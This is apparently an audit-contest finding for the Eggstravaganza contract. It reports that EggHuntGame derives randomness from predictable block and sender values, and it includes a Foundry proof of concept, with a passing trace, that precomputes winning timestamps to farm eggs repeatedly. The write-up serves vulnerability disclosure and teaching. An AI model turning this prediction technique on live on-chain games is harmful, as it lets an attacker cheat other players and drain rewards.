Eggstravaganza

First Flight #37
Beginner FriendlySolidity
100 EXP
View results
Submission Details
Severity: high
Valid

Weak PRNG in EggHuntGame Contract allows minting of arbitrary number of eggs

Summary

The EggHuntGame contract uses a weak pseudo-random number generator in its searchForEgg() function. The randomness is derived from predictable values (block.timestamp, block.prevrandao, msg.sender, and eggCounter), making it vulnerable to precomputation attacks. An attacker can reliably farm eggs by iterating over potential timestamps, undermining the fairness of the game.

Vulnerability Details

The contract computes randomness with the following expression:

uint256 random = uint256(keccak256(abi.encodePacked(block.timestamp, block.prevrandao, msg.sender, eggCounter))) % 100;

Both block.timestamp and block.prevrandao are susceptible to prediction and minor manipulation by miners. When combined with the deterministic msg.sender and the predictable state variable eggCounter, an attacker can easily simulate the random number generation off-chain or via automated tests to identify winning conditions. This predictability renders the game susceptible to exploitation.

Impact

This vulnerability disrupts the fairness of the game by allowing an attacker to predict the outcome and farm multiple eggs, undermining the value of in-game rewards. The issue is classified as high severity due to its impact on the integrity and fairness of the game, though it may not lead to immediate financial loss. Given that this exploit can be repeated, it poses a significant risk to the game's ecosystem.

Recommendations

To mitigate the vulnerability, it is recommended to replace the current PRNG with a secure randomness source, such as Chainlink VRF, or implement a commit-reveal scheme to introduce unpredictability.

Exploit Demonstration

Tools Used

foundry

PoC

The provided PoC demonstrates how an attacker can precompute a winning block timestamp within a small range. By repeating this process, the PoC shows that multiple eggs can be farmed reliably, highlighting the systemic flaw in the randomness generation mechanism.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.23;
import "forge-std/Test.sol";
import "../src/EggHuntGame.sol";
import "../src/EggstravaganzaNFT.sol";
import "../src/EggVault.sol";
/**
* This PoC demonstrates the exploitation of weak PRNG in EggHuntGame
* by predicting the outcome of searchForEgg() and farming multiple eggs.
*/
contract EggHuntGameWeakPRNGPoC is Test {
EggHuntGame game;
EggVault vault;
EggstravaganzaNFT nft;
address attacker = address(0xABCD);
function setUp() public {
nft = new EggstravaganzaNFT("Eggstravaganza", "EGG");
vault = new EggVault();
game = new EggHuntGame(address(nft), address(vault));
nft.setGameContract(address(game));
vault.setEggNFT(address(nft));
game.setEggFindThreshold(50);
}
function testExploitWeakPRNG() public {
game.startGame(100);
uint256 predictedEggCounter = game.eggCounter();
uint256 eggFindThreshold = game.eggFindThreshold();
uint256 numberOfEggsToFarm = 100;
uint256 eggsFarmed = 0;
// Assume a constant value for block.prevrandao in our testing environment.
// In real scenarios, block.prevrandao is miner-controlled, but here we assume it's 0.
bytes32 prevrandao = bytes32(0);
// Farm multiple eggs.
for (uint256 i = 0; i < numberOfEggsToFarm; i++) {
uint256 foundTimestamp;
bool suitableTimeFound = false;
// Loop over a small range of timestamps. In production, an attacker can precompute this off-chain.
for (uint256 j = block.timestamp; j < block.timestamp + 100; j++) {
bytes32 hash = keccak256(abi.encodePacked(j, prevrandao, attacker, predictedEggCounter));
uint256 random = uint256(hash) % 100;
if (random < eggFindThreshold) {
foundTimestamp = j;
suitableTimeFound = true;
break;
}
}
require(suitableTimeFound, "No suitable timestamp found");
// Warp to the chosen timestamp where the PRNG yields a winning outcome.
vm.warp(foundTimestamp);
vm.prank(attacker);
game.searchForEgg();
eggsFarmed++;
predictedEggCounter = game.eggCounter();
}
// Verify that the attacker has farmed the expected number of eggs.
assertEq(game.eggsFound(attacker), eggsFarmed);
}
}

Trace:

Ran 1 test for test/EggHuntGameWeakPRNGPoC.sol:EggHuntGameWeakPRNGPoC
[PASS] testExploitWeakPRNG() (gas: 4015739)
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 9.66ms (8.81ms CPU time)
Ran 1 test suite in 11.42ms (9.66ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)

Conclusion

The weak PRNG in EggHuntGame poses a significant risk to the fairness and integrity of the game. The PoC confirms that an attacker can predict and exploit the random number generation to farm eggs repeatedly. This issue, while not immediately financially damaging, can severely affect the game's ecosystem, and its exploitation undermines the trust of players. Addressing this issue is crucial to ensuring a fair and secure gaming experience.

Updates

Lead Judging Commences

m3dython Lead Judge 3 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Insecure Randomness

Insecure methods to generate pseudo-random numbers

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.